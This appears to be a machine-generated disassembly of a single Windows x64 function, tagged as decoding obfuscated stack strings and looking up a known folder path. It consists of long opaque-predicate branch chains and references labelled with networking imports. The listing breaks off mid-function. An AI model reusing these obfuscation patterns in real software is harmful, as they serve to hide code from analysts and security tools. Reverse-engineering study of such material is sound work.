Function at 0x1401124b0
Capabilities:
Contain obfuscated stackstrings
Get common file path

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x260]
sub rsp, 0x360
mov rax, qword [0x14021a800]
xor rax, rsp
mov qword [rbp + 0x250], rax
mov r12, rdx
mov qword [rbp + 0xa0], rdx
xor ebx, ebx
mov dword [rsp + 0x60], ebx
mov qword [rbp + 0x90], rbx
lea r9, [rbp + 0x90]
xor r8d, r8d
mov edx, 0x8000
lea rcx, [0x140199d10]
call qword [sym.imp.SHELL32.dll_SHGetKnownFolderPath]
test eax, eax
jne 0x14011253e
mov r8d, 0x104
mov rdx, qword [rbp + 0x90]
lea rcx, [rbp + 0x140]
call qword [sym.imp.api_ms_win_crt_convert_l1_1_0.dll_wcstombs]
jmp 0x1401130bf
mov dword [rsp + 0x28], 0x38343321
mov dword [rsp + 0x2c], 0x3a3d6936
mov dword [rsp + 0x30], 0x213b2928
mov dword [rsp + 0x34], 0x2f3f713b
mov dword [rsp + 0x38], 0x273b312c
mov dword [rsp + 0x3c], 0xc6d67939
mov dword [rsp + 0x40], 0x6374cdd8
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0x44], xmm0
mov dword [rsp + 0x54], eax
mov word [rsp + 0x58], ax
mov byte [rsp + 0x5a], al
movabs r14, 0xabc452467c9f8ab2
movabs r15, 0x33fb1464d75cf78e
movabs r13, 0x54624982b31d02ba
movzx r11d, byte [rsp + 0x20]
mov r8, qword [0x140220a80]
mov r9, qword [0x140220a78]
nop
mov rsi, rbx
movabs rcx, 0xefcc6571121ffa6a
cmp rsi, 0x33
jae 0x1401130ae
movzx edi, byte [rsp + rsi + 0x28]
movzx r10d, dil
cmp r8, rsi
ja 0x1401130a5
lea rax, [r9 + 1]
cmp r8, rax
jae 0x14011260b
add rcx, rsi
mov rax, rdi
and rax, rcx
imul r11, rax, 0xfffffffffffffffe
add r11, rdi
add r11, rcx
add r11b, 0x1a
jmp 0x140112644
je 0x140113027
inc rax
cmp r8, rax
je 0x140112fc7
lea rax, [r9 + 3]
cmp r8, rax
je 0x140112f87
lea rax, [r9 + 5]
cmp r8, rax
je 0x140112f3a
lea rax, [r9 + 6]
cmp r8, rax
je 0x140112eee
movzx r10d, dil
nop dword [rax + rax]
cmp r9, rsi
ja 0x14011309c
lea rax, [r9 + 3]
cmp r8, rax
jae 0x14011267f
lea rcx, [rsi + r14]
movzx eax, cl
and al, dil
mov edx, reloc.WS2_32.dll_recvfrom
sub dl, al
lea r11d, [rdx + rdx]
add r11b, cl
add r11b, r10b
jmp 0x1401126b3
lea rax, [r9 + 1]
cmp r8, rax
je 0x140112ec8
lea rax, [r9 + 2]
cmp r8, rax
je 0x140112e9e
lea rax, [r9 + 5]
cmp r8, rax
je 0x140112e8a
lea rax, [r9 + 6]
cmp r8, rax
je 0x140112e66
lea rax, [r9 + r8]
cmp rax, rsi
jbe 0x140112b4e
lea rax, [r9 + 2]
cmp r8, rax
je 0x140112b2f
lea rax, [r9 + 0x10]
cmp r8, rax
je 0x140112b07
lea rax, [r9 + 0x400]
cmp r8, rax
je 0x140112aed
lea rax, [r9 + 0x20]
cmp r8, rax
je 0x140112ad3
lea rax, [r9 + 3]
cmp r8, rax
je 0x140112ab4
lea rax, [r9 + 0x1000]
cmp r8, rax
je 0x140112a90
lea rax, [r9 + 0x28]
cmp r8, rax
je 0x140112a76
lea rax, [r9 + 4]
cmp r8, rax
je 0x140112a4e
lea r8, [r9 + 9]
lea r9, [r8 + 4]
lea rax, [r9 + 0x2a]
cmp r8, rax
jb 0x14011307b
lea rax, [r9 + 0x200]
cmp r8, rax
jb 0x14011305e
lea rax, [r9 + 0xa]
cmp r8, rax
jb 0x140112868
lea rax, [r9 + 1]
cmp r8, rax
jb 0x14011284d
lea rax, [r9 + 0x3e8]
cmp r8, rax
jb 0x14011282d
lea rax, [r9 + 0x10]
cmp r8, rax
jb 0x1401129fa
lea rax, [r9 + 2]
cmp r8, rax
jb 0x140112986
lea rax, [r9 + 0x400]
cmp r8, rax
jb 0x1401126c0
lea r8, [r9 + 0x64]
lea r9, [r8 + 0x20]
lea rax, [r9 + 8]
cmp r8, rax
ja 0x140112959
lea rax, [r9 + 0x5a]
cmp r8, rax
ja 0x14011293b
lea rax, [r9 + 0x80]
cmp r8, rax
ja 0x140112919
lea rax, [r9 + 9]
cmp r8, rax
ja 0x1401128fa
lea rax, [r9 + 0x2a]
cmp r8, rax
ja 0x1401128d9
lea rax, [r9 + 0x200]
cmp r8, rax
ja 0x1401128b5
lea rax, [r9 + 0xa]
cmp r8, rax
ja 0x140112896
lea rax, [r9 + 1]
cmp r8, rax
ja 0x1401126c0
lea r8, [r9 + 0x7a]
lea r9, [r8 + 0x3e8]
jmp 0x1401126c0
lea rcx, [rsi + r15]
movzx eax, cl
and al, dil
mov edx, reloc.WS2_32.dll_ntohs
sub dl, al
lea r11d, [rdx + rdx]
add r11b, cl
add r11b, r10b
jmp 0x1401126b3
lea rcx, [rsi + r13]
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x16
jmp 0x140112650
movabs rcx, 0x74c97ea08edd0de6
add rcx, rsi
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x4a
movabs rcx, 0xefcc6571121ffa6a
jmp 0x1401125e0
lea edx, [rsi - 0x70]
movzx eax, dil
and al, dl
mov ecx, 8
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dil
add r11b, dl
jmp 0x140112f11
lea ecx, [rsi - 0x44]
movzx eax, dil
and al, cl
add al, al
sub dil, al
lea r11d, [rcx + rdi]
sub r11b, 0x24
inc r9
dec rsi
inc rsi
jmp 0x1401125c3
lea ecx, [rsi - 0x18]
movzx eax, dil
and al, cl
add al, al
sub dil, al
lea r11d, [rcx + rdi]
sub r11b, 0x58
dec rsi
inc rsi
jmp 0x1401125c3
lea edx, [rsi + 0x6c]
movzx eax, dil
and al, dl
mov ecx, 6
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dil
add r11b, dl
jmp 0x140112fae
lea edx, [rsi - 0x68]
movzx eax, dil
and al, dl
add al, al
movzx r11d, dil
sub r11b, al
sub r11b, 0x28
add r11b, dl
movzx r10d, sil
jmp 0x140112e38
lea edx, [rsi - 0x3c]
movzx eax, dil
and al, dl
add al, al
movzx r11d, dil
sub r11b, al
sub r11b, 0x5c
add r11b, dl
jmp 0x140112fea
lea edx, [rsi - 0x10]
movzx eax, dil
and al, dl
mov ecx, gethostname
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dil
add r11b, dl
movzx eax, byte [rsp + rsi + 0x28]
add rax, r9
add rsi, rax
inc rsi
jmp 0x1401125c3
lea edx, [rsi + 0x36]
movzx eax, dil
and al, dl
add al, al
movzx r11d, dil
sub r11b, al
sub r11b, 0x7a
add r11b, dl
cmp r8, 2
jae 0x140112dfc
lea rax, [r9 + 0x41]
cmp r8, rax
jbe 0x140112d3f
lea edx, [rsi - 0xc]
movzx eax, dil
and al, dl
mov ecx, Ordinal_46
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dil
add r11b, dl
cmp r9, 0xa
jb 0x140112def
lea edx, [rsi + 0x3c]
movzx eax, dil
and al, dl
add al, al
movzx ecx, dil
sub cl, al
add cl, dl
lea r11d, [rcx*2 - 0x48]
jmp 0x140112f11
lea edx, [rsi + 0x62]
movzx eax, dl
and al, dil
mov ecx, reloc.WLDAP32.dll_Ordinal_41
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, dil
lea rax, [r9 + r8]
cmp rax, 4
je 0x140112e22
lea rax, [r9 + 0x2a]
cmp r8, rax
jbe 0x140112c64
lea edx, [rsi + 0x42]
movzx eax, dl
and al, dil
mov ecx, Ordinal_27
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, dil
jmp 0x14011299f
lea ecx, [rsi + 0x2c]
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea r11d, [rdi + rcx]
sub r11b, 0x34
movzx eax, byte [rsp + rsi + 0x28]
add rax, r9
add rsi, rax
inc rsi
jmp 0x1401125c3
lea ecx, [rsi + 0x58]
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea r11d, [rdi + rcx]
sub r11b, 0x68
jmp 0x140112fea
movzx r10d, sil
lea edx, [r10 - 0x7c]
movzx eax, dl
and al, dil
mov ecx, reloc.WLDAP32.dll_Ordinal_50
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, dil
jmp 0x140112e38
lea edx, [rsi - 0x50]
movzx eax, dl
and al, dil
mov ecx, Ordinal_27
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, dil
jmp 0x140112fae
lea ecx, [rsi - 0x24]
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea r11d, [rdi + rcx]
sub r11b, 4
jmp 0x140112fab
lea ecx, [rsi + 8]
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea r11d, [rdi + rcx]
sub r11b, 0x38
jmp 0x140112f62
lea edx, [rsi + 0x60]
movzx eax, dl
and al, dil
mov ecx, Ordinal_50
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, dil
inc r9
dec rsi
inc rsi
jmp 0x1401125c3
lea edx, [rsi - 0x74]
movzx eax, dl
and al, dil
mov ecx, reloc.WLDAP32.dll_Ordinal_22
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, dil
jmp 0x140112f11
lea rax, [r9 + 0x42]
cmp r8, rax
jae 0x140112b80
movabs rcx, 0xefcc6571121ffa6a
add rcx, rsi
movzx eax, cl
and al, dil
mov edx, reloc.WS2_32.dll_listen
sub dl, al
lea r11d, [rdx + rdx]
add r11b, cl
add r11b, r10b
jmp 0x140112a14
lea rax, [r9 + 1]
cmp r8, rax
jne 0x140112bb6
lea edx, [rsi + 0x64]
movzx eax, dl
and al, dil
mov ecx, Ordinal_35
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, dil
movzx eax, byte [rsp + rsi + 0x28]
add rax, r9
add rsi, rax
inc rsi
jmp 0x1401125c3
inc rax
cmp r8, rax
jne 0x140112bdd
movzx r10d, sil
lea ecx, [r10 + 0xc]
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea r11d, [rdi + rcx]
sub r11b, 0x54
jmp 0x140112e38
lea rax, [r9 + 5]
cmp r8, rax
jne 0x140112c05
lea edx, [rsi - 0x4c]
movzx eax, dl
and al, dil
mov ecx, 0xa
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, dil
jmp 0x140112fab
lea rax, [r9 + 3]
cmp r8, rax
jne 0x140112c32
movzx r10d, sil
lea edx, [r10 - 0x78]
movzx eax, dl
and al, dil
mov ecx, 0x24
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, dil
jmp 0x140112f66
lea rax, [r9 + 4]
cmp r8, rax
jne 0x140112a14
lea edx, [rsi + 0x5c]
movzx eax, dl
and al, dil
mov ecx, 0x3e
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, dil
dec rsi
inc rsi
jmp 0x1401125c3
lea rcx, [r9 + 1]
cmp r8, rcx
jne 0x140112c8c
lea edx, [rsi + 0x16]
movzx eax, dl
and al, dil
mov ecx, 0x33
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, dil
jmp 0x140112f11
lea rax, [r9 + 3]
cmp r8, rax
jne 0x140112cb5
lea ecx, [rsi - 0x42]
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea r11d, [rdi + rcx]
sub r11b, 0x32
dec rsi
inc rsi
jmp 0x1401125c3
lea rax, [rcx + 1]
cmp r8, rax
jne 0x140112cdd
lea edx, [rsi + 0x66]
movzx eax, dl
and al, dil
mov ecx, reloc.WLDAP32.dll_Ordinal_27
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, dil
jmp 0x140112fab
lea rax, [r9 + 5]
cmp r8, rax
jne 0x140112d05
lea edx, [rsi + 0x3a]
movzx eax, dl
and al, dil
mov ecx, gethostname
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, dil
jmp 0x140112fae
lea rax, [r9 + 8]
cmp r8, rax
jne 0x14011299f
lea edx, [rsi - 0x4a]
movzx eax, dl
and al, dil
mov ecx, 3
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, dil
movzx eax, byte [rsp + rsi + 0x28]
add rax, r9
add rsi, rax
inc rsi
jmp 0x1401125c3
lea rax, [r9 + 1]
cmp r8, rax
jne 0x140112d71
lea ecx, [rsi - 0x38]
movzx eax, dil
and al, cl
add al, al
sub dil, al
lea r11d, [rcx + rdi]
sub r11b, 0x78
movzx eax, byte [rsp + rsi + 0x28]
add rax, r9
add rsi, rax
inc rsi
jmp 0x1401125c3
lea rax, [r9 + 5]
cmp r8, rax
jne 0x140112d99
lea edx, [rsi + 0x18]
movzx eax, dil
and al, dl
mov ecx, Ordinal_46
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dil
add r11b, dl
jmp 0x140112fab
lea rax, [r9 + 3]
cmp r8, rax
jne 0x140112dc3
lea ecx, [rsi - 0x40]
movzx eax, dil
and al, cl
add al, al
sub dil, al
lea r11d, [rcx + rdi]
sub r11b, 0x40
dec rsi
inc rsi
jmp 0x1401125c3
lea rax, [r9 + 9]
cmp r8, rax
jne 0x1401129d0
lea edx, [rsi + 0x68]
movzx eax, dil
and al, dl
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dil
add r11b, dl
jmp 0x140112f11
mov byte [rsp + rsi + 0x28], r11b
inc rsi
jmp 0x1401125c3
movzx r10d, sil
lea edx, [r10 + 0x10]
movzx eax, dil
and al, dl
add al, al
movzx r11d, dil
sub r11b, al
sub r11b, 0x70
add r11b, dil
add r11b, dl
jmp 0x140112f66
movzx r10d, sil
lea ecx, [r10 - 0x1c]
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea r11d, [rcx - 0x3c]
add r10b, 0x4e
movzx eax, dil
and al, r10b
add al, al
movzx ecx, dil
sub cl, al
sub cl, 0x22
add cl, r10b
movzx eax, cl
mov byte [rsp + rsi + 0x28], al
inc r9
add rax, r9
sub rsi, rax
jmp 0x140112fea
movabs rcx, 0xa88aa9579e9f3152
add rcx, rsi
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x3e
jmp 0x140112fea
movabs rcx, 0x9c048b131df52d6
mov edx, reloc.WS2_32.dll_send
jmp 0x140112f96
movabs rcx, 0x4a8eb2ece95f692e
add rcx, rsi
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x42
dec rsi
inc rsi
jmp 0x1401125c3
movabs rcx, 0x8b5d1d28a0df7f86
add rcx, rsi
movzx eax, cl
and al, dil
mov edx, Ordinal_46
sub dl, al
lea r11d, [rdx + rdx]
add r11b, cl
add r11b, r10b
jmp 0x140112f11
movabs rcx, 0xcc2b8764585f95de
add rcx, rsi
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x12
movzx edi, r10b
lea edx, [rsi - 0x5a]
movzx eax, dil
and al, dl
mov ecx, Ordinal_60
sub cl, al
add cl, cl
add cl, dil
add cl, dl
mov byte [rsp + rsi + 0x28], cl
inc r9
dec rsi
inc rsi
jmp 0x1401125c3
movabs rcx, 0x2d6126bdeb9fb762
add rcx, rsi
movzx eax, cl
and al, dil
mov edx, reloc.WLDAP32.dll_Ordinal_41
sub dl, al
lea r11d, [rdx + rdx]
add r11b, cl
add r11b, r10b
movzx edi, r10b
movzx r10d, sil
add r10b, 0x7a
movzx eax, dil
and al, r10b
add al, al
sub dil, al
sub dil, 0x56
add dil, r11b
add dil, r10b
mov byte [rsp + rsi + 0x28], dil
jmp 0x140112fab
movabs rcx, 0x4dc85bdbc75fc28e
mov edx, reloc.WS2_32.dll_ntohs
add rcx, rsi
movzx eax, cl
and al, dil
sub dl, al
lea r11d, [rdx + rdx]
add r11b, cl
add r11b, r10b
add r8, r9
movzx eax, r11b
mov rcx, 0xffffffffffffffff
sub rcx, rax
add rsi, rcx
inc rsi
jmp 0x1401125c3
movabs rcx, 0xaefdfb355a9fe412
add rcx, rsi
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x7e
movzx edi, r10b
lea ecx, [rsi - 0x48]
movzx eax, dil
and al, cl
add al, al
sub dil, al
sub dil, 8
add dil, cl
mov byte [rsp + rsi + 0x28], dil
inc r8
mov rax, 0xffffffffffffffff
sub rax, r8
add rsi, rax
movzx eax, byte [rsp + rsi + 0x28]
add rax, r9
add rsi, rax
inc rsi
jmp 0x1401125c3
movabs rcx, 0xcf653053365fef3e
add rcx, rsi
movzx eax, cl
and al, dil
mov edx, Ordinal_41
sub dl, al
lea r11d, [rdx + rdx]
add r11b, cl
add r11b, r10b
movzx eax, byte [rsp + rsi + 0x28]
add rax, r9
add rsi, rax
inc rsi
jmp 0x1401125c3
add sil, 0x12
movzx eax, dil
and al, sil
add al, al
sub dil, al
lea r11d, [rsi + rdi]
sub r11b, 0x7e
jmp 0x1401125bf
add sil, 0x3e
movzx eax, dil
and al, sil
mov ecx, Ordinal_41
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dil
add r11b, sil
jmp 0x1401125b1
lea rdx, [rbp + 0x17c3e60]
jmp 0x1401130b3
lea rdx, [rbp + 0x11c38ca]
jmp 0x1401130b3
lea rdx, [rsp + 0x28]
mov rcx, qword [0x140220750]
call fcn.140064200
mov dword [rsp + 0x68], 0xf5f9c3c8
mov dword [rsp + 0x6c], 0xc3eefafc
mov dword [rsp + 0x70], 0xecf9f6f0
mov byte [rsp + 0x74], 0x60
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0x75], xmm0
mov dword [rbp - 0x7b], eax
mov word [rbp - 0x77], ax
movabs r14, 0x816a684ae21a7612
movabs r13, 0x871409766a844e5a
movabs r15, 0x843f38e0a64f6236
movzx edx, byte [rsp + 0x20]
mov r8, qword [0x140220a80]
mov r9, qword [0x140220a78]
nop
mov rsi, rbx
cmp rsi, 0x23
jae 0x140113c21
movzx r11d, byte [rsp + rsi + 0x68]
mov edi, r11d
cmp r8, rsi
ja 0x140113c18
lea rax, [r9 + 1]
cmp r8, rax
jae 0x140113161
lea rcx, [rsi + r14]
mov rax, rdi
and rax, rcx
imul rdx, rax, 0xfffffffffffffffe
add rdx, rdi
add rdx, rcx
sub dl, 0x7e
jmp 0x14011319a
je 0x140113bb0
inc rax
cmp r8, rax
je 0x140113b62
lea rax, [r9 + 3]
cmp r8, rax
je 0x140113b0e
lea rax, [r9 + 5]
cmp r8, rax
je 0x140113aec
lea rax, [r9 + 2]
cmp r8, rax
je 0x140113aa7
movzx r10d, sil
nop
cmp r9, rsi
ja 0x140113c0f
lea rax, [r9 + 0x20]
cmp r8, rax
jae 0x1401131c9
lea ecx, [r10 + 0x7a]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x56
jmp 0x140113210
lea rax, [r9 + 1]
cmp r8, rax
je 0x140113a90
inc rax
cmp r8, rax
je 0x140113a6e
lea rax, [r9 + 3]
cmp r8, rax
je 0x140113a54
lea rax, [r9 + 4]
cmp r8, rax
je 0x140113a38
lea rax, [r9 + 6]
cmp r8, rax
je 0x140113a0e
nop dword [rax]
lea rax, [r9 + r8]
cmp rax, rsi
jbe 0x14011374f
nop dword [rax]
lea rax, [r9 + 0x64]
cmp r8, rax
je 0x140113735
lea rax, [r9 + 6]
cmp r8, rax
je 0x140113710
lea rax, [r9 + 0x7a]
cmp r8, rax
je 0x1401136ee
lea rax, [r9 + 0x40]
cmp r8, rax
je 0x1401136d4
lea rax, [r9 + 4]
cmp r8, rax
je 0x1401136b8
lea rax, [r9 + 0x1000]
cmp r8, rax
je 0x14011369c
lea rax, [r9 + 0x20]
cmp r8, rax
je 0x140113682
lea rax, [r9 + 2]
cmp r8, rax
je 0x140113666
lea rax, [r9 + 0x3e8]
cmp r8, rax
je 0x14011363c
lea rax, [r9 + 0xa]
cmp r8, rax
je 0x140113220
lea r8, [r9 + 0x2a]
lea r9, [r8 + 0x2a]
lea rax, [r9 + 0x80]
cmp r8, rax
jb 0x140113bf3
lea rax, [r9 + 8]
cmp r8, rax
jb 0x140113bd7
lea rax, [r9 + 0x41]
cmp r8, rax
jb 0x140113404
lea rax, [r9 + 0x42]
cmp r8, rax
jb 0x1401133ea
lea rax, [r9 + 5]
cmp r8, rax
jb 0x1401133d0
lea rax, [r9 + 0x61]
cmp r8, rax
jb 0x1401135f5
lea rax, [r9 + 0x28]
cmp r8, rax
jb 0x1401135af
lea rax, [r9 + 3]
cmp r8, rax
jb 0x140113577
lea rax, [r9 + 0x400]
cmp r8, rax
jb 0x140113554
lea rax, [r9 + 0x10]
cmp r8, rax
jb 0x140113220
mov r8, rax
lea r9, [rax + 1]
lea rax, [r9 + 1]
cmp r8, rax
ja 0x140113526
lea rax, [r9 + 0x200]
cmp r8, rax
ja 0x140113506
lea rax, [r9 + 9]
cmp r8, rax
ja 0x1401134e9
lea rax, [r9 + 0x5a]
cmp r8, rax
ja 0x1401134c9
lea rax, [r9 + 0x64]
cmp r8, rax
ja 0x1401134a9
lea rax, [r9 + 6]
cmp r8, rax
ja 0x14011348c
lea rax, [r9 + 0x7a]
cmp r8, rax
ja 0x140113466
lea rax, [r9 + 0x40]
cmp r8, rax
ja 0x14011343d
lea rax, [r9 + 4]
cmp r8, rax
ja 0x140113420
lea rax, [r9 + 0x1000]
cmp r8, rax
ja 0x140113220
lea r8, [r9 + 0x20]
lea r9, [r8 + 0x20]
jmp 0x140113220
lea ecx, [r10 - 0x3a]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x6a
jmp 0x140113210
lea ecx, [r10 - 0x5e]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x6e
jmp 0x1401131a0
add r10b, 0x7e
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x72
jmp 0x140113136
lea edx, [r10 - 0x30]
movzx eax, dl
and al, r11b
mov ecx, Ordinal_41
sub cl, al
add cl, cl
add dl, cl
add dl, r11b
jmp 0x140113ac0
sub r10b, 0x54
movzx eax, r10b
and al, r11b
mov ecx, Ordinal_41
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
inc r9
dec rsi
inc rsi
jmp 0x140113123
sub r10b, 0x78
movzx eax, r10b
and al, r11b
mov ecx, 0x24
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
dec rsi
inc rsi
jmp 0x140113123
lea edx, [r10 + 0x64]
movzx eax, dl
and al, r11b
mov ecx, Ordinal_35
sub cl, al
add cl, cl
add dl, cl
add dl, r11b
jmp 0x140113b27
add r10b, 0x40
movzx eax, r10b
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_32
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
jmp 0x140113b47
add r10b, 0x1c
movzx eax, r10b
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_30
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
jmp 0x140113b4a
lea edx, [r10 - 8]
movzx eax, dl
and al, r11b
mov ecx, Ordinal_30
sub cl, al
add cl, cl
add dl, cl
add dl, r11b
jmp 0x1401139df
sub r10b, 0x2c
movzx eax, r10b
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_26
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
jmp 0x140113b76
sub r10b, 0x50
movzx eax, r10b
and al, r11b
mov ecx, Ordinal_27
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
movzx eax, byte [rsp + rsi + 0x68]
add rax, r9
add rsi, rax
inc rsi
jmp 0x140113123
add r10b, 0x56
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x5a
mov byte [rsp + rsi + 0x68], dl
inc rsi
jmp 0x140113123
lea ecx, [r10 + 0x32]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x5e
cmp r9, 1
jb 0x14011356b
lea ecx, [r10 + 0x2c]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
add cl, r11b
lea edx, [rcx*2 - 0x68]
jmp 0x140113ac0
lea ecx, [r10 + 0xe]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x62
cmp r8, 0x80
jae 0x1401139b1
lea rdi, [r9 + 8]
cmp r8, rdi
jbe 0x1401138c5
lea ecx, [r10 - 0x3c]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x5c
jmp 0x14011358c
lea ecx, [r10 - 0x16]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x66
lea rax, [r9 + r8]
cmp rax, 6
je 0x1401139ce
lea rax, [r9 + 6]
cmp r8, rax
jbe 0x140113821
lea ecx, [r10 + 0x4a]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 6
jmp 0x1401135c4
sub r10b, 0x24
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 4
movzx eax, byte [rsp + rsi + 0x68]
add rax, r9
add rsi, rax
inc rsi
jmp 0x140113123
sub r10b, 0x48
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 8
jmp 0x140113b76
lea ecx, [r10 - 0x6c]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0xc
jmp 0x1401139df
add r10b, 0x70
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x10
jmp 0x140113b4a
add r10b, 0x4c
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x14
jmp 0x140113b47
lea ecx, [r10 + 0x28]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x18
jmp 0x140113b27
add r10b, 4
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x1c
dec rsi
inc rsi
jmp 0x140113123
sub r10b, 0x20
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x20
inc r9
dec rsi
inc rsi
jmp 0x140113123
lea ecx, [r10 - 0x44]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x24
jmp 0x140113ac0
lea rax, [r9 + 0x61]
cmp r8, rax
jae 0x140113772
lea ecx, [r10 + 0x12]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x7e
jmp 0x14011360a
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1401137a9
sub r10b, 0xc
movzx eax, r10b
and al, r11b
mov ecx, Ordinal_46
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
movzx eax, byte [rsp + rsi + 0x68]
add rax, r9
add rsi, rax
inc rsi
jmp 0x140113123
inc rax
cmp r8, rax
jne 0x1401137d1
add r10b, 0x18
movzx eax, r10b
and al, r11b
mov ecx, Ordinal_46
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
jmp 0x140113b76
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1401137f7
lea edx, [r10 - 0x58]
movzx eax, dl
and al, r11b
mov ecx, 0x34
sub cl, al
add cl, cl
add dl, cl
add dl, r11b
jmp 0x140113b27
lea rax, [r9 + 2]
cmp r8, rax
jne 0x14011360a
lea edx, [r10 + 0x14]
movzx eax, dl
and al, r11b
mov ecx, Ordinal_60
sub cl, al
add cl, cl
add dl, cl
add dl, r11b
jmp 0x140113ac0
lea rax, [r9 + 1]
cmp r8, rax
jne 0x140113844
lea ecx, [r10 + 0x6e]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 2
jmp 0x140113ac0
inc rax
cmp r8, rax
jne 0x140113872
sub r10b, 0x4a
movzx eax, r10b
and al, r11b
mov ecx, 3
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
dec rsi
inc rsi
jmp 0x140113123
lea rax, [r9 + 3]
cmp r8, rax
jne 0x14011389b
sub r10b, 2
movzx eax, r10b
and al, r11b
mov ecx, 7
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
jmp 0x140113b47
lea rax, [r9 + 7]
cmp r8, rax
jne 0x1401135c4
lea edx, [r10 + 0x46]
movzx eax, dl
and al, r11b
mov ecx, listen
sub cl, al
add cl, cl
add dl, cl
add dl, r11b
jmp 0x1401139df
lea rcx, [r9 + 1]
cmp r8, rcx
jne 0x1401138f8
sub r10b, 0x18
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x58
movzx eax, byte [rsp + rsi + 0x68]
add rax, r9
add rsi, rax
inc rsi
jmp 0x140113123
lea rax, [r9 + 3]
